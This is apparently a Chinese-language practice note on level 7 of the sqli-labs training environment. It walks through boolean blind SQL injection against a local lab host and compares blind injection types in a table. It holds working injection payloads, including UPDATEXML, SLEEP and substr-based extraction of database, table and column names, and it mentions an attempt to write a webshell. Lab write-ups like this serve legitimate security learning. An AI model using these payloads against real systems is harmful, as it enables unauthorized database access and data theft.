【撸靶笔记】第七关:GET - Dump into outfile - String
第七关
1、确定注入点
2、确定列数
3、确定回显位
也没有回显位,继续报错注入,准备写shi
4、报错注入
这里使用“报错注入”爆库名,失败,
反复检查,不是sql语句的原因,写shi失败,尝试使用盲注
5、盲注
以下是 SQL 注入中不同盲注类型的分析表格,从定义、特点、判断方式、适用场景及示例等方面进行对比:
盲注类型 | 定义 | 核心特点 | 判断方式 | 适用场景 | 示例(假设查询为SELECT * FROM users WHERE id = [输入] ) |
---|---|---|---|---|---|
布尔盲注 | 基于 SQL 语句执行后返回的布尔状态(真 / 假)推断信息,无直接错误或数据显示 | 仅返回两种状态(如页面正常 / 异常、存在 / 不存在提示),无具体数据或错误信息 | 构造条件语句(如AND 1=1 、AND 1=2 ),观察页面状态变化差异 | 页面无错误回显,但对条件判断有状态响应(如登录成功 / 失败、内容显示 / 隐藏) | 输入1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a' ,若页面正常则首字母为 'a',否则不是 |
时间盲注 | 基于 SQL 语句执行后是否触发时间延迟推断信息,无任何状态或数据显示 | 无页面状态差异,需通过执行时间判断;依赖数据库延时函数(如SLEEP() ) | 构造含延时函数的条件语句(如AND IF(条件,SLEEP(5),0) ),观察响应时间 | 页面无任何状态差异(布尔盲注失效),但数据库支持延时函数 | 输入1 AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a',SLEEP(5),0) ,若响应延迟 5 秒则首字母为 'a' |
报错盲注 | 基于 SQL 语句执行后返回的错误信息提取数据,通过构造错误触发信息泄露 | 会显示数据库错误详情(如表名、列名、数据片段),需利用错误函数触发 | 构造含错误函数的语句(如UPDATEXML() 、ExtractValue() ),从错误信息提取 | 页面开启错误显示(如调试模式),且数据库支持错误函数 | 输入1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT username FROM users LIMIT 1),0x7e),1) ,错误信息可能显示用户名片段 |
补充说明:
- 三种盲注的核心区别在于信息反馈方式:布尔盲注依赖状态差异,时间盲注依赖执行时间,报错盲注依赖错误信息。
- 实际渗透中,通常先尝试报错盲注(效率最高),再试布尔盲注,最后考虑时间盲注(耗时且易被检测)。
- 部分场景可能存在混合盲注(如同时具备布尔和时间特征),需结合多种方式验证。
根据之前的页面反馈,尝试使用布尔盲注
6、爆库名:
使用length( )方法,确认库名长度
(length(database()))=8 --页面回显正常http://bachang/sqli-labs-master/Less-7/?id=1%27))%20and%20(length(database()))=8--+
知道库名字段长度后,可以使用BP抓包直接进行暴力破解,免去一个一个手动去试
这里手动爆出库名的一个字符,作为演示
http://bachang/sqli-labs-master/Less-7/?id=1%27))%20and%20substr((database()),1,1)%20=%27s%27%20--+
利用BP爆破,得到库名为security
7、爆表名
获取表个数:4
?id=1')) and (select count(*) from information_schema.tables where table_schema=database())=4 --+
获取表名长度
?id=1')) and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+
借助BP爆所有表名长度:6---8---7---5
爆表名:直接爆第4个表,表名为users;爆其他表名只需更改粉色负载点的值:0--3 共4张表
?id=1')) and (substr(select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' --+
8、爆字段名
爆字段长度:20
?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+
爆字段名
?id=1')) and (select substr(group_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='users')='a' --+
利用BP爆破:id---username---password
9、爆数据
查数据条数:
--?
确定每条数据长度:
--?
爆数据:
--?